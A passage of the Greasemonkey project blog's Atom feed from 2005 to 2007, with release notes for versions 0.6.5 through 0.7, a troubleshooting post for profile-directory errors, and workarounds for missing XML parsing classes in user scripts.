works once per view.&lt;/li&gt;&lt;li&gt;Fixed the bug where removing a script in the manage dialog also removes the last script.&lt;/li&gt;&lt;/ul&gt;As always, you can see all recent changes to Greasemonkey on the &lt;a href="http://greasemonkey.devjavu.com/projects/greasemonkey/timeline?from=05%2F24%2F07&amp;daysback=30"&gt;dev website&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Thanks for your patience!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://youngpup.net/z_dropbox/greasemonkey-0.7.20070523.0.xpi"&gt;&lt;span style="font-weight: bold;"&gt;Install Greasemonkey 0.7 Candidate&lt;/span&gt;&lt;/a&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-1553460708795043597?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/1553460708795043597/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=1553460708795043597' title='59 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/1553460708795043597'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/1553460708795043597'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2007/05/greasemonkey-07-candidate.html' title='Greasemonkey 0.7 Candidate'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>59</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-8109087931731592657</id><published>2007-05-09T11:47:00.000-07:00</published><updated>2009-10-20T13:05:04.606-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><title type='text'>Greasemonkey 0.6.9: gm_scripts directory bug gone forever?</title><content type='html'>&lt;b&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/downloads/file/15526/greasemonkey-0.6.9.20070507.0-fx.xpi"&gt;Download Greasemonkey 0.6.9&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Anthony has made a change in this release which will hopefully end the issue which keeps popping up of the gm_scripts directory not existing.&lt;br /&gt;&lt;br /&gt;Other interesting bits in this release:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt; &lt;li&gt;You can now reorder the scripts in the manage dialog with drag+drop or the arrow keys&lt;br /&gt; &lt;/li&gt;&lt;li&gt;You can now use Firebug's &lt;code&gt;console&lt;/code&gt; object to debug Greasemonkey if you have Firebug installed.&lt;br /&gt; &lt;/li&gt;&lt;li&gt;Fix bug where install dialog would pop up when Greasemonkey is disabled&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://greasemonkey.devjavu.com/projects/greasemonkey/timeline?from=05%2F04%2F07&amp;amp;daysback=65&amp;amp;changeset=on&amp;amp;update=Update%20"&gt;Full change log here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-8109087931731592657?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/8109087931731592657/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=8109087931731592657' title='36 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/8109087931731592657'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/8109087931731592657'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2007/05/greasemonkey-069-gmscripts-directory.html' title='Greasemonkey 0.6.9: gm_scripts directory bug gone forever?'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>36</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-9201768957122560487</id><published>2007-03-17T15:00:00.000-07:00</published><updated>2007-03-30T18:41:54.329-07:00</updated><title type='text'>Greasemonkey 0.6.8: 'New Script...' UI now usable, error reporting improvements, new localizations</title><content type='html'>&lt;a href="http://addons.mozilla.org/en-US/firefox/downloads/file/13931/greasemonkey-0.6.8.20070314.0-firefox.xpi"&gt;&lt;span style="font-weight: bold;"&gt;Download Greasemonkey 0.6.8.20070314.0&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Note:&lt;/span&gt; Because addons.mozilla.org is in the midst of a migration to a new version of their software, Greasemonkey &lt;span style="font-style: italic;"&gt;will not&lt;/span&gt; autoupdate itself until at least March 22, when we are told the new version of their server will up and running.&lt;br /&gt;&lt;br /&gt;So if you want this version, you need to download it manually until then.&lt;br /&gt;&lt;br /&gt;===&lt;br /&gt;&lt;br /&gt;New stuff in this release. The major things are:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Rewrite of 'New Script...' UI. It now pops up a  nice UI  to get the script details and then generates and opens a script which is already installed that you can edit in one step. This is a huge improvement in the usability of this feature. Thanks to Anthony Lieuallen for the implementation.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Improvements to error reporting. Most types of errors in user scripts now give the correct line number in the error message. You can also click on the filename in Firebug to view the script, as with other types of errors in Firefox. Anthony is also responsible for this improvement.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Added support for overrideMimeType to GM_xmlhttpRequest. Thanks to Lior Zur for the patch. To use, add &lt;span style="font-family:courier new;"&gt;overrideMimeType: "yourmimetypehere"&lt;span style="font-family:georgia;"&gt; to &lt;/span&gt;&lt;/span&gt;the object you pass to GM_xmlhttpRequest.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;New translations for Finnish, Japanese, and Russian. The Greasemonkey UI looks particularly cool in Japanese. Thanks to Tommi Rautava, Hisateru Tanaka, and Александр Соколов for their contributions.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;To see the full list of changes in this release, see the &lt;a href="http://greasemonkey.devjavu.com/projects/greasemonkey/timeline"&gt;commit history&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-9201768957122560487?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/9201768957122560487/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=9201768957122560487' title='23 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/9201768957122560487'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/9201768957122560487'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2007/03/greasemonkey-068-new-script-ui-now.html' title='Greasemonkey 0.6.8: &apos;New Script...&apos; UI now usable, error reporting improvements, new localizations'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>23</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-6011394126272545312</id><published>2007-02-23T09:38:00.000-08:00</published><updated>2007-02-23T10:13:03.876-08:00</updated><title type='text'>Web page changes</title><content type='html'>I've made a series of changes to try and organize the various webpages related to Greasemonkey.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.greasespot.net/"&gt;www.greasespot.net&lt;/a&gt; is Greasemonkey's new home. It hosts this blog as well as links to download, userscripts.org, Dive into Greasemonkey, discussion groups, wiki, and dev site. greaseblog.blogspot.com now redirects here.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://wiki.greasespot.net"&gt;wiki.greasespot.net&lt;/a&gt; now has a wiki that we can use for troubleshooting, etc. Thanks to Anthony Lieuallen for hosting this.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://greasemonkey.devjavu.com"&gt;greasemonkey.devjavu.com&lt;/a&gt; is the new home of Greasemonkey development, including source code.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;greasemonkey.mozdev.org is now archived and redirects here.&lt;br /&gt; &lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Have a look around and let me know what you think.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-6011394126272545312?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/6011394126272545312/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=6011394126272545312' title='18 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/6011394126272545312'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/6011394126272545312'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2007/02/web-page-changes.html' title='Web page changes'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>18</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-290624981801858514</id><published>2007-02-07T14:27:00.000-08:00</published><updated>2007-02-07T15:09:53.813-08:00</updated><title type='text'>Greasemonkey 0.6.7: minor UI tweaks + new localizations</title><content type='html'>&lt;a href="http://releases.mozilla.org/pub/mozilla.org/extensions/greasemonkey/greasemonkey-0.6.7.20070131.0-fx.xpi"&gt;Greasemonkey 0.6.7.20070131.0 is now available for download&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;There were only minor changes since 0.6.6:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Fixed the manage dialog so that it doesn't bounce around when you select different user scripts (thanks Anthony Lieuallen)&lt;/li&gt;&lt;li&gt;Added Basque translation (thanks 3ARRANO)&lt;/li&gt;&lt;li&gt;Updated German translation (thanks Matthias Bauer)&lt;/li&gt;&lt;li&gt;Middle-click on monkey icon now opens manage dialog, right-click on scripts in monkey menu opens them in an editor (thanks LouCypher and pile0nades)&lt;/li&gt;&lt;/ul&gt;There are also some changes going on with regard to Greasemonkey development. The code has moved to &lt;a href="http://greasemonkey.devjavu.com/"&gt;DevjaVu&lt;/a&gt;'s hosted Subversion system, and the bug list and related resources will be moving there soon.&lt;br /&gt;&lt;br /&gt;Also, we are going to start doing regular releases of Greasemonkey every month, so long as there is new stuff checked in. The build will be created on the first Thursday of each month and sent to the &lt;a href="http://groups.google.com/group/greasemonkey-dev"&gt;greasemonkey-dev&lt;/a&gt; mailing list for trial. Once verified, it will be posted to addons.mozilla.org.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-290624981801858514?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/290624981801858514/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=290624981801858514' title='55 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/290624981801858514'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/290624981801858514'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2007/02/greasemonkey-067-minor-ui-tweaks-new.html' title='Greasemonkey 0.6.7: minor UI tweaks + new localizations'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>55</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-116113443253533847</id><published>2006-10-17T18:18:00.000-07:00</published><updated>2006-10-17T18:20:32.573-07:00</updated><title type='text'>Fix for Spanish localization bug</title><content type='html'>Version 0.6.6.20061017.0 is available and fixes the bug that you may have noticed if you speak Spanish.&lt;br /&gt;&lt;br /&gt;&lt;a style="font-weight: bold;" href="http://releases.mozilla.org/pub/mozilla.org/extensions/greasemonkey/greasemonkey-0.6.6.20061017.0-fx.xpi"&gt;Download it now&lt;/a&gt;, or wait for autoupdate to prompt you.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-116113443253533847?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/116113443253533847/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=116113443253533847' title='14 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/116113443253533847'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/116113443253533847'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2006/10/fix-for-spanish-localization-bug.html' title='Fix for Spanish localization bug'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-116106480177849637</id><published>2006-10-16T22:24:00.000-07:00</published><updated>2006-10-16T23:10:38.086-07:00</updated><title type='text'>Greasemonkey 0.6.6 - Firefox 2 support and new install UI</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://releases.mozilla.org/pub/mozilla.org/extensions/greasemonkey/greasemonkey-0.6.6.20061016.0-fx.xpi"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger/4773/577/320/install.1.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a style="font-weight: bold;" href="http://releases.mozilla.org/pub/mozilla.org/extensions/greasemonkey/greasemonkey-0.6.6.20061016.0-fx.xpi"&gt;Download here&lt;/a&gt;, or wait for Firefox 2's cool new extension autoupdater to prompt you.&lt;br /&gt;&lt;br /&gt;The main changes from 0.6.5 are:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Firefox 2.0 support&lt;/li&gt;&lt;li&gt;New, less crappy script installation UI&lt;/li&gt;&lt;li&gt;Spanish localization&lt;/li&gt;&lt;/ul&gt;The new script installation UI is a bit of a change. When I first wrote Greasemonkey, it was intended to be for JavaScript hackers only. I didn't envision there even being a UI at first -- just some configuration files. But now that lots of non-programmers use Greasemonkey, displaying the source code when you click on a user script doesn't make much sense.&lt;br /&gt;&lt;br /&gt;When you click on a user script now, it pops up an installation dialog that shows the title, description, and pages the script will be included on. If you want to see the source code, you can still do that by clicking "View Script Source" in the install dialog or in the user script's context menu.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-116106480177849637?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/116106480177849637/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=116106480177849637' title='47 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/116106480177849637'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/116106480177849637'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2006/10/greasemonkey-066-firefox-2-support-and.html' title='Greasemonkey 0.6.6 - Firefox 2 support and new install UI'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>47</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-115406719019134079</id><published>2006-07-27T23:04:00.000-07:00</published><updated>2006-07-27T23:13:10.216-07:00</updated><title type='text'>Greasemonkey 0.6.5 - 2.0 support and localization</title><content type='html'>I'm happy to announce &lt;a href="https://addons.mozilla.org/firefox/748/"&gt;Greasemonkey 0.6.5&lt;/a&gt;, which includes support for Firefox 2.0 beta 1 and basic localization in Czech, Dutch, and German. I've also fixed up the problems in the CVS main branch for people where were trying to use source directly.&lt;br /&gt;&lt;br /&gt;Thanks to &lt;a href="http://axlotl.net/"&gt;Chris Feldmann&lt;/a&gt; for internalization code, esquifit for a 2.0 compatibility patch, and all those who helped test.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-115406719019134079?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/115406719019134079/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=115406719019134079' title='25 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/115406719019134079'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/115406719019134079'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2006/07/greasemonkey-065-20-support-and.html' title='Greasemonkey 0.6.5 - 2.0 support and localization'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>25</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-113598526711842205</id><published>2005-12-30T17:26:00.000-08:00</published><updated>2006-01-10T13:49:14.540-08:00</updated><title type='text'>Troubleshooting 0.6.4</title><content type='html'>I thought it'd be useful to pull together all the issues you might run into with Greasemonkey itself. &lt;br /&gt;&lt;br /&gt;We are, of course, trying to make Greasemonkey suck less, but this should help for now.  Please be sure to read the error message closely so you can follow the appropriate actions for a workaround.  Lots of Firefox errors look pretty similar.&lt;br /&gt;&lt;br /&gt;Also, be sure to close Firefox and back up your profile before changing any files in your profile directory.  Don't say we didn't warn you. ;)&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt; If you see an error including text like this: "(NS_ERROR_FILE_NOT_FOUND) location JS frame :: chrome://greasemonkey/content/utils.js :: getContents ", follow the, uh, following steps.  &lt;span style="font-weight:bold;"&gt;Updated to clarify command-line stuff:&lt;/span&gt; These are commands which need to be entered either in a DOS prompt or a terminal.  On Windows, you can generally access this with "Start &gt; Run &gt; Cmd" or "Start &gt; Run &gt; command" or "Windows + R &gt; command".  (If someone can verify the steps for WinXP, it'd help; I don't have that OS.)  On OS X, you can get there with Terminal (Applications &gt; Terminal).  On Linux, you should know how to find a terminal.  ;)  Once at a command prompt (C:\ in Windows, ~/user in OS X), enter the following commands, which just creates a gm_scripts directory and an empty file named config.xml in the appropriate place in your Firefox profile.  &lt;br /&gt; &lt;ol&gt;&lt;br /&gt; &lt;li&gt;cd &lt;a href="http://kb.mozillazine.org/Profile_folder"&gt;your profile directory&lt;/a&gt;&lt;br /&gt;  &lt;li&gt;mkdir gm_scripts&lt;br /&gt;  &lt;li&gt;On OS X: touch gm_scripts/config.xml&lt;br /&gt;  &lt;li&gt;On Windows: echo "" &gt; gm_scripts\config.xml&lt;br /&gt;  &lt;/ol&gt;&lt;br /&gt;&lt;li&gt;If you see an error including text like this: "(NS_ERROR_FAILURE) [nsIURI.host]", you're probably installing from a data: URL. If so, follow these steps:&lt;br /&gt;  &lt;ol&gt;&lt;br /&gt;    &lt;li&gt;Open the link in your browser.&lt;br /&gt;    &lt;li&gt;Save the file locally, naming it [something].user.js.&lt;br /&gt;    &lt;li&gt;Open the local file in your browser.&lt;br /&gt;    &lt;li&gt;Install from the local file.&lt;br /&gt;  &lt;/ol&gt;&lt;br /&gt;&lt;li&gt;If you see an error as a result of a Greasemonkey action (such as installing a script) which lists a chrome URL that starts with something other than chrome://greasemonkey (such as chrome://w3rted/content/browser.xul), you probably have a naming conflict.  Follow these steps:&lt;br /&gt;  &lt;ol&gt;&lt;br /&gt;    &lt;li&gt;Open &lt;a href="http://kb.mozillazine.org/Profile_folder"&gt;your profile directory&lt;/a&gt;\extensions\Extensions.rdf.&lt;br /&gt;    &lt;li&gt;Find the extension is in conflict by searching for the first part of the chrome URL in your error message.  In the example above, I'd search for "chrome://w3rted".&lt;br /&gt;    &lt;li&gt;Find the name of that extension by looking for the value of &amp;lt;em:name&amp;gt; in the same RDF:Description.&lt;br /&gt;    &lt;li&gt;Try moving the conflicting extension below Greasemonkey by using [Tools &gt; Extensions, right-click, Move Down].  Doing this affects the order in which extensions are loaded and sometimes allows Greasemonkey to initialize successfully.  Restart Firefox before testing again.&lt;br /&gt;    &lt;li&gt;If moving the extension down didn't resolve the issue, and you can live without the other extension, disabling it should work.  [Tools &gt; Extensions, right-click, Disable].  ... And restart Firefox again.&lt;br /&gt;  &lt;/ol&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;If you're getting one of these errors and these steps didn't resolve, let me know in the comments.  If you're getting a &lt;em&gt;different&lt;/em&gt; error, I need to add it to the list.  I hope this helps get you monkeying again.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-113598526711842205?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/113598526711842205/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=113598526711842205' title='178 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/113598526711842205'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/113598526711842205'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/12/troubleshooting-064.html' title='Troubleshooting 0.6.4'/><author><name>Jeremy Dunck</name><uri>http://www.blogger.com/profile/00539478892335210132</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>178</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-113373057612204575</id><published>2005-12-04T12:40:00.000-08:00</published><updated>2005-12-04T16:09:11.113-08:00</updated><title type='text'>Workarounds for missing XMLHttpRequest, DOMParser, and XMLSerializer</title><content type='html'>&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;Update&lt;span style="font-weight: bold;"&gt;: &lt;/span&gt;&lt;/span&gt;Over on the &lt;a href="http://greasemonkey.mozdev.org/list.html"&gt;Greasemonkey mailing list&lt;/a&gt;, Joe la Poutre &lt;a href="http://www.mozdev.org/pipermail/greasemonkey/2005-December/006898.html"&gt;notices an even easier workaround&lt;/a&gt;. All you have to do is use the older form of the XPCNativeWrapper constructor to access a specific property. I'm not even sure why this works, but it does:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;var parser = new XPCNativeWrapper(window, "DOMParser").DOMParser();&lt;br /&gt;alert(parser.parseFromString("&lt;foo&gt;&lt;bar&gt;&lt;/bar&gt;", "text/xml"));&lt;/foo&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Leaving the below, just for posterity...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;hr size="1"&gt;&lt;br /&gt;&lt;br /&gt;One bittersweet part about releasing Greasemonkey 0.6.4 was that I needed to remove support for the &lt;a href="http://developer.mozilla.org/en/docs/XML_Extras"&gt;XML Extras&lt;/a&gt; module which contains such goodies as &lt;a href="http://xulplanet.com/references/objref/XMLHttpRequest.html"&gt;XMLHttpRequest&lt;/a&gt;, &lt;a href="http://xulplanet.com/references/objref/DOMParser.html"&gt;DOMParser&lt;/a&gt;, and &lt;a href="http://xulplanet.com/references/objref/XMLSerializer.html"&gt;XMLSerializer&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;I knew that many people were using XMLHttpRequest, particularly since GM_xmlhttpRequest, it's cross-domain replacement evaporated temporarily in 0.3.5, and that this would be a pain point. However, when weighing those people having to change their scripts to use GM_xmlhttpRequest and the alternative of having a confusingly inconsistent security model, I chose the former. I also fixed the major scripts I knew of, such as &lt;a href="http://userscripts.org/scripts/show/1554"&gt;GMail Conversation Preview&lt;/a&gt;, which used XMLHttpRequest.&lt;br /&gt;&lt;br /&gt;What I didn't expect at all was that people would miss DOMParser and XMLSerializer. I had no idea any scripts even used these. It's really neat to &lt;a href="http://thecommunityengine.com/home/archives/2005/12/greasemonkey_be.html"&gt;find people using pieces of your tool which you didn't expect them to, in ways you didn't expect them to&lt;/a&gt;. This makes me incredibly happy. Go user scripters! :-)&lt;br /&gt;&lt;br /&gt;Anyway, to make a long story short, I've received many questions asking how to work around the lack of these two classes. The good news is that not only is there a workaround, there are three of them!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1. Use unsafeWindow.DOMParser and unsafeWindow.XMLSerializer&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The downside here is that, as the name says, unsafeWindow is a reference to the content actual window - the same one that the content's JavaScript uses. Because of that, calling into it can make your script vulnerable to interference by the content script. This can be OK if you trust the site you are scripting somewhat. Take a look at the &lt;a href="http://greasemonkey.mozdev.org/authoring.html"&gt;unsafeWindow details&lt;/a&gt; to decide whether you think this is appropriate for your script.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2. Use E4X&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In a very zen turn of events it turns out that although Firefox 1.5 denies user scripters the XPCOM-based XML parsing and serializing they were accustomed to, it provides them with a brand-new - arguably superior - interface.&lt;br /&gt;&lt;br /&gt;E4X is a brand new native JavaScript XML API that ships with Firefox 1.5 and is available to Greasemonkey scripts. There's not a ton of documentation yet, but from my experience with it so far, it's vastly more elegant and pleasant to work with than the DOM interfaces.&lt;br /&gt;&lt;br /&gt;You can get more information about E4X, including the ECMA specification and a handy expression tester, at these URLs:&lt;br /&gt;&lt;br /&gt;http://developer.mozilla.org/en/docs/E4X&lt;br /&gt;http://www.ecma-international.org/publications/standards/Ecma-357.htm&lt;br /&gt;http://www.linkwerk.com/pub/javascript/e4x/e4x-tester/&lt;br /&gt;&lt;br /&gt;One caveat to keep in mind is that, in accordance with the E4X spec (don't ask me, it's insane), the input XML must &lt;span style="font-weight: bold;"&gt;not&lt;/span&gt; have an XML declaration. So you usually need to use a regex to strip it before parsing. For example:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;var xml = new XML(xmlStringWithDecl.replace(/&lt;\?xml.*?\?&gt;/g, ""));&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3. Use an IFRAME and let Mozilla do the dirty work&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Many have pointed out that Mozilla already ships with an excellent, and very robust XML parser. It also ships with an HTML parser. Why not just leverage those? You can, it just takes a bit of hacking. I put an example of how to use an IFRAME to parse an HTML document into a DOM on my website.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://youngpup.net/userscripts/htmlparserexample.user.js"&gt;Greasemonkey HTML Parser&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Of course, just by changing the content type from &lt;span style="font-weight: bold;"&gt;text/html&lt;/span&gt; to &lt;span style="font-weight: bold;"&gt;text/xml&lt;/span&gt;, you could use the same technique to parse XHTML or even raw XML.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So I hope this shows that although the way to do certain things has changed, no capabilities have been removed from Greasemonkey. In fact new ones have been added, and the addition of completely isolating user scripts from content improved the reliability and security of Greasemonkey quite a lot.&lt;br /&gt;&lt;br /&gt;Sorry for the disturbance, you may now resume your madcap exploration and use of Greasemonkey for all manner of things I never expected.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-113373057612204575?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/113373057612204575/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=113373057612204575' title='15 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/113373057612204575'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/113373057612204575'/><link rel='alternate' type='text/html' 